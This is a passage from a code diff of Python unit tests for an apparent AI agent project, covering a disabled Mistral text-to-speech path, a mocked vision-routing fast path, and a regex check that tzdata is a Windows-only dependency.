audio_data=base64.b64encode(b"audio").decode()
)
output_path = str(tmp_path / "out.mp3")
with patch("tools.tts_tool._load_tts_config", return_value={"provider": "mistral"}):
result = json.loads(text_to_speech_tool("Hello", output_path=output_path))
assert result["success"] is True
assert result["provider"] == "mistral"
mock_mistral_module.audio.speech.complete.assert_called_once()
assert result["success"] is False
assert "temporarily disabled" in result["error"]
assert "quarantined" in result["error"]
# SDK must not have been called.
mock_mistral_module.audio.speech.complete.assert_not_called()
def test_dispatcher_returns_error_when_sdk_not_installed(self, tmp_path, monkeypatch):
"""Same disabled message regardless of SDK presence."""
import json
from tools.tts_tool import text_to_speech_tool
@@ -196,7 +203,7 @@ class TestTtsDispatcherMistral:
)
assert result["success"] is False
assert "mistralai" in result["error"]
assert "temporarily disabled" in result["error"]
class TestCheckTtsRequirementsMistral:
+8 -2
View File
@@ -157,8 +157,14 @@ class TestHandleVisionAnalyzeFastPath:
from agent.auxiliary_client import set_runtime_main, clear_runtime_main
set_runtime_main("openrouter", "anthropic/claude-opus-4.6")
try:
coro = _handle_vision_analyze({"image_url": str(img), "question": "?"})
result = asyncio.get_event_loop().run_until_complete(coro)
# Mock decide_image_input_mode to always return "native" so the
# fast path fires regardless of model-catalog state in CI.
with patch(
"agent.image_routing.decide_image_input_mode",
return_value="native",
):
coro = _handle_vision_analyze({"image_url": str(img), "question": "?"})
result = asyncio.get_event_loop().run_until_complete(coro)
finally:
clear_runtime_main()
+15 -6
View File
@@ -420,12 +420,21 @@ class TestTzdataDependencyDeclared:
root = Path(__file__).resolve().parents[2]
source = (root / "pyproject.toml").read_text(encoding="utf-8")
# The dependency line should be conditional on sys_platform == 'win32'
# and should NOT be in the core dependencies for Linux/macOS.
assert (
'tzdata>=2023.3; sys_platform == \'win32\'' in source
or "tzdata>=2023.3; sys_platform == 'win32'" in source
or 'tzdata>=2023.3; sys_platform == "win32"' in source
), "tzdata must be a Windows-only dep in pyproject.toml dependencies"
# and should NOT be in the core dependencies for Linux/macOS. We do
# not care about the exact pinned version (which is bumped over time)
# — only that tzdata is declared with a win32 marker. This is an
# invariant check, not a snapshot test.
import re
# Match `"tzdata` … `; sys_platform == 'win32'"` allowing any version
# specifier in between (==X.Y.Z, >=X.Y.Z,<W, etc.) and either quote
# style on the marker.
pattern = re.compile(
r'"tzdata[^"]*;\s*sys_platform\s*==\s*[\'"]win32[\'"]\s*"'
)
assert pattern.search(source), (
"tzdata must be a Windows-only dep in pyproject.toml dependencies "
"(declared with a `; sys_platform == 'win32'` marker)"
)
# ---------------------------------------------------------------------------